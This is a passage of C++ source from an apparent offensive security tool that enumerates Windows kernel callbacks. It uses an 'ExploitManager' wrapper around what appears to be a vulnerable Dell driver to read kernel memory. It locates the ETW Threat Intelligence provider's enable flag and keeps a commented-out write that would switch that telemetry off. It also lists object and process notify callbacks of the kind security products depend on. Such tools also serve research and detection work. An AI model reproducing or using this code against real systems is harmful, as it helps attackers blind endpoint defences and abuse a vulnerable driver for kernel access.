FindDriver(closeProcedure);//printf("\t[+] CloseProcedure: 0x%llx\n", closeProcedure); 594 | 595 | ExploitManager->ReadMemory(deleteProcedure, &buffer, 8); 596 | deleteProcedure = *buffer; 597 | if (deleteProcedure) 598 | printf("\tDeleteProcedure:"); FindDriver(deleteProcedure);//printf("\t[+] DeleteProcedure: 0x%llx\n", deleteProcedure); 599 | 600 | ExploitManager->ReadMemory(parseProcedure, &buffer, 8); 601 | parseProcedure = *buffer; 602 | if (parseProcedure) 603 | printf("\tParseProcedure:"); FindDriver(parseProcedure);//printf("\t[+] ParseProcedure: 0x%llx\n", securityProcedure); 604 | 605 | ExploitManager->ReadMemory(securityProcedure, &buffer, 8); 606 | securityProcedure = *buffer; 607 | if (securityProcedure) 608 | printf("\tSecurityProcedure:"); FindDriver(securityProcedure);//printf("\t[+] SecurityProcedure: 0x%llx\n", securityProcedure); 609 | 610 | ExploitManager->ReadMemory(queryNameProcedure, &buffer, 8); 611 | queryNameProcedure = *buffer; 612 | if (queryNameProcedure) 613 | printf("\tQueryNameProcedure:"); FindDriver(queryNameProcedure);//printf("\t[+] QueryNameProcedure: 0x%llx\n", queryNameProcedure); 614 | 615 | ExploitManager->ReadMemory(okayToCloseProcedure, &buffer, 8); 616 | okayToCloseProcedure = *buffer; 617 | if (okayToCloseProcedure) 618 | printf("\t"); FindDriver(okayToCloseProcedure);//printf("\t[+] OkayToCloseProcedure: 0x%llx\n", okayToCloseProcedure); 619 | } 620 | 621 | printf("----------------\n\tThe quiter you are the more youre able to hear!\n----------------\n"); 622 | return; 623 | } 624 | 625 | int main() { 626 | 627 | DBUTIL* ExploitManager = new DBUTIL(); 628 | DWORD64 ntoskrnlBaseAddress = ExploitManager->GetKernelBase("ntoskrnl.exe"); 629 | printf("[+] Base address of ntoskrnl.exe: 0x%llx\n", ntoskrnlBaseAddress); 630 | 631 | HMODULE Ntoskrnl = LoadLibraryExA("Ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES); 632 | if (Ntoskrnl == NULL) { 633 | printf("[!] Unable to load Ntoskrnl.exe: %lu\n", GetLastError()); 634 | return 0; 635 | } 636 | 637 | LPVOID pSymbol = GetProcAddress(Ntoskrnl, "KeInsertQueueApc"); 638 | if (pSymbol == NULL) { 639 | printf("[!] Unable to find address of exported KeInsertQueueApc: %lu\n", GetLastError()); 640 | return 0; 641 | } 642 | DWORD distance = 0; 643 | for (int i = 0; i < 100; i++) { 644 | if ((((PBYTE)pSymbol)[i] == 0x48) && (((PBYTE)pSymbol)[i + 1] == 0x8B) && (((PBYTE)pSymbol)[i + 2] == 0x0D)) { 645 | distance = *(PDWORD)((DWORD_PTR)pSymbol + i + 3); 646 | pSymbol = (LPVOID)((DWORD_PTR)pSymbol + i + distance + 7); 647 | break; 648 | } 649 | } 650 | 651 | //TODO Add PDB Loaded Symbol for nt!EtwThreatIntProvRegHandle to get rid of the memory scan 652 | DWORD_PTR symbolOffset = (DWORD)pSymbol - (DWORD)Ntoskrnl; 653 | unsigned long long ntEtwThreatIntProvRegHandleAddress = ntoskrnlBaseAddress + symbolOffset; 654 | unsigned long long buffer[16]; 655 | ExploitManager->VirtualRead(ntEtwThreatIntProvRegHandleAddress, &buffer, 8); 656 | ExploitManager->VirtualRead(*buffer + 0x20, &buffer, 8); 657 | unsigned long long traceEnableAddress = *buffer + 0x60; 658 | ExploitManager->VirtualRead(*buffer + 0x60, &buffer, 8); 659 | printf("[+] TraceEnableAddress: 0x%llx\n", traceEnableAddress); 660 | printf("[+] TraceEnableStatus: 0x%llx\n", *buffer); 661 | 662 | unsigned long long enable[2]; 663 | unsigned long long disable[2]; 664 | enable[0] = 1; enable[1] = 0; 665 | disable[0] = 0; disable[1] = 0; 666 | 667 | //ExploitManager->VirtualWrite(traceEnableAddress, disable, 8); 668 | 669 | EnumAllObjectsCallbacks(ExploitManager, ntoskrnlBaseAddress); 670 | 671 | } 672 | -------------------------------------------------------------------------------- /main.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #include "dbutil.h" 4 | #include 5 | #pragma comment(lib, "Winhttp.lib") 6 | #include 7 | #include 8 | 9 | typedef enum OB_OPERATION_e { 10 | OB_OPERATION_HANDLE_CREATE = 1, 11 | OB_OPERATION_HANDLE_DUPLICATE = 2, 12 | OB_FLT_REGISTRATION_VERSION = 0x100 13 | } OB_OPERATION; 14 | 15 | typedef struct UNICODE_STRING_t { 16 | USHORT Length; 17 | USHORT MaximumLength; 18 | PWCH Buffer; 19 | } UNICODE_STRING; 20 | 21 | #define GET_OFFSET(STRUCTNAME, OFFSETNAME) Offset_ ## STRUCTNAME ## _ ## OFFSETNAME = GetFieldOffset(sym_ctx, #STRUCTNAME, L###OFFSETNAME) 22 | #define GET_SYMBOL(SYMBOL) Sym_ ## SYMBOL = GetSymbolOffset(sym_ctx, #SYMBOL) 23 | 24 | DECLARE_OFFSET(_OBJECT_TYPE, Name); 25 | DECLARE_OFFSET(_OBJECT_TYPE, TotalNumberOfObjects); 26 | DECLARE_OFFSET(_OBJECT_TYPE, TypeInfo); 27 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ObjectTypeFlags); 28 | DECLARE_OFFSET(_UNICODE_STRING, MaximumLength); 29 | DECLARE_OFFSET(_UNICODE_STRING, Buffer); 30 | DECLARE_OFFSET(_OBJECT_TYPE, CallbackList); 31 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, DumpProcedure); 32 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, OpenProcedure); 33 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, CloseProcedure); 34 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, DeleteProcedure); 35 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, ParseProcedure); 36 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, SecurityProcedure); 37 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, QueryNameProcedure); 38 | DECLARE_OFFSET(_OBJECT_TYPE_INITIALIZER, OkayToCloseProcedure); 39 | DECLARE_SYMBOL(ObpObjectTypes); 40 | DECLARE_SYMBOL(ObpTypeObjectType); 41 | DECLARE_SYMBOL(PspCreateProcessNotifyRoutine); 42 | DECLARE_SYMBOL(PspLoadImageNotifyRoutine); 43 | DECLARE_SYMBOL(PspCreateThreadNotifyRoutine); 44 | DECLARE_SYMBOL(CallbackListHead); 45 | 46 | typedef struct OB_CALLBACK_t OB_CALLBACK; 47 | 48 | typedef PVOID POBJECT_TYPE, POB_PRE_OPERATION_CALLBACK, POB_POST_OPERATION_CALLBACK; 49 | /* 50 | * Internal / undocumented version of OB_OPERATION_REGISTRATION 51 | */ 52 | // TODO: Rewrite as Class with dynamic memory reads on members (dynamic resolution->members as functions resolved through memoryread) 53 | 54 | /* 55 | * A callback entry is made of some fields followed by concatenation of callback entry items, and the buffer of the associated Altitude string 56 | * Internal / undocumented (and compact) version of OB_CALLBACK_REGISTRATION 57 | */ 58 | 59 | //new structs start 60 | typedef struct OB_CALLBACK_ENTRY_t { 61 | LIST_ENTRY CallbackList; // linked element tied to _OBJECT_TYPE.CallbackList 62 | ULONG Operations; // bitfield : 1 for Creations, 2 for Duplications 63 | BOOL Enabled; // self-explanatory 64 | struct OB_CALLBACK_t* Entry; // points to the structure in which it is included 65 | POBJECT_TYPE ObjectType; // points to the object type affected by the callback 66 | PDWORD64 PreOperation; // callback function called before each handle operation 67 | PDWORD64 PostOperation; // callback function called after each handle operation 68 | ULONG_PTR Lock; // lock object used for synchronization 69 | } OB_CALLBACK_ENTRY, * POB_CALLBACK_ENTRY; 70 | //new sturcts end 71 | 72 | typedef struct OB_CALLBACK_t { 73 | USHORT Version; // usually 0x100 74 | USHORT OperationRegistrationCount; // number of registered callbacks 75 | PVOID RegistrationContext; // arbitrary data passed at registration time 76 | UNICODE_STRING AltitudeString; // used to determine callbacks order 77 | struct OB_CALLBACK_ENTRY_t EntryItems[1]; // array of OperationRegistrationCount items 78 | WCHAR AltitudeBuffer[1]; // is AltitudeString.MaximumLength bytes long, and pointed by AltitudeString.Buffer 79 | } OB_CALLBACK; 80 | 81 | //TODO : find a way to reliably find the offsets 82 | DWORD64 Offset_CALLBACK_ENTRY_ITEM_Operations = offsetof(OB_CALLBACK_ENTRY, Operations); //BOOL 83 | DWORD64 Offset_CALLBACK_ENTRY_ITEM_Enabled = offsetof(OB_CALLBACK_ENTRY, Enabled); //DWORD 84 | DWORD64 Offset_CALLBACK_ENTRY_ITEM_ObjectType = offsetof(OB_CALLBACK_ENTRY, ObjectType); //POBJECT_TYPE 85 | DWORD64 Offset_CALLBACK_ENTRY_ITEM_PreOperation = offsetof(OB_CALLBACK_ENTRY, PreOperation); //POB_PRE_OPERATION_CALLBACK 86 | DWORD64 Offset_CALLBACK_ENTRY_ITEM_PostOperation = offsetof(OB_CALLBACK_ENTRY, PostOperation); //POB_POST_OPERATION_CALLBACK 87 | 88 | // Symbol Parsing 89 | typedef struct PE_relocation_t { 90 | DWORD RVA; 91 | WORD Type : 4; 92 | } PE_relocation; 93 | 94 | typedef struct PE_codeview_debug_info_t { 95 | DWORD signature; 96 | GUID guid; 97 | DWORD age; 98 | CHAR pdbName[1]; 99 | } PE_codeview_debug_info; 100 | 101 | typedef struct PE_pointers { 102 | BOOL isMemoryMapped; 103 | BOOL isInAnotherAddressSpace; 104 | HANDLE hProcess; 105 | PVOID baseAddress; 106 | //headers ptrs 107 | IMAGE_DOS_HEADER* dosHeader; 108 | IMAGE_NT_HEADERS* ntHeader; 109 | IMAGE_OPTIONAL_HEADER* optHeader; 110 | IMAGE_DATA_DIRECTORY* dataDir; 111 | IMAGE_SECTION_HEADER* sectionHeaders; 112 | //export info 113 | IMAGE_EXPORT_DIRECTORY* exportDirectory; 114 | LPDWORD exportedNames; 115 | DWORD exportedNamesLength; 116 | LPDWORD exportedFunctions; 117 | LPWORD exportedOrdinals; 118 | //relocations info 119 | DWORD nbRelocations; 120 | PE_relocation* relocations; 121 | //debug info 122 | IMAGE_DEBUG_DIRECTORY* debugDirectory; 123 | PE_codeview_debug_info* codeviewDebugInfo; 124 | } PE; 125 | 126 | typedef struct symbol_ctx_t { 127 | LPWSTR pdb_name_w; 128 | DWORD64 pdb_base_addr; 129 | HANDLE sym_handle; 130 | } symbol_ctx; 131 | -------------------------------------------------------------------------------- /shot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Flerov/EAKC-EnumAllKernelCallbacks/e837ae3f584fe61ce2627ea096740096a1f96905/shot.png --------------------------------------------------------------------------------